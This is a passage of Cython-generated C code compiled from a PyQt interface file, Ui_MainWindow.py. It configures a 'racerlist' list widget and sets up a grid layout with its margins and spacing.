__Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":54 * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) # <<<<<<<<<<<<<< * self.L_racerlist.setProperty("isWrapping", False) * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setDefaultDropAction); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_CopyAction); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":55 * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_racerlist.setProperty("isWrapping", False) # <<<<<<<<<<<<<< * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__33, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":56 * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_racerlist.setProperty("isWrapping", False) * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) # <<<<<<<<<<<<<< * self.L_racerlist.setModelColumn(0) * self.L_racerlist.setObjectName("L_racerlist") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setViewMode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QListView); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ListMode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":57 * self.L_racerlist.setProperty("isWrapping", False) * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) # <<<<<<<<<<<<<< * self.L_racerlist.setObjectName("L_racerlist") * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setModelColumn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__34, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":58 * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) * self.L_racerlist.setObjectName("L_racerlist") # <<<<<<<<<<<<<< * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__35, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":59 * self.L_racerlist.setModelColumn(0) * self.L_racerlist.setObjectName("L_racerlist") * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) # <<<<<<<<<<<<<< * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget.setObjectName("gridLayoutWidget") */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget, __pyx_t_1) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":60 * self.L_racerlist.setObjectName("L_racerlist") * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) # <<<<<<<<<<<<<< * self.gridLayoutWidget.setObjectName("gridLayoutWidget") * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QRect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__36, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":61 * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget.setObjectName("gridLayoutWidget") # <<<<<<<<<<<<<< * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__37, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":62 * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget.setObjectName("gridLayoutWidget") * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) # <<<<<<<<<<<<<< * self.gridLayout.setContentsMargins(6, 0, 6, 0) * self.gridLayout.setHorizontalSpacing(4) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QGridLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout, __pyx_t_1) < 0) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":63 * self.gridLayoutWidget.setObjectName("gridLayoutWidget") * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) # <<<<<<<<<<<<<< * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__38, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":64 * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) * self.gridLayout.setHorizontalSpacing(4) # <<<<<<<<<<<<<< * self.gridLayout.setVerticalSpacing(0) * self.gridLayout.setObjectName("gridLayout") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalSpacing); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__39, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); 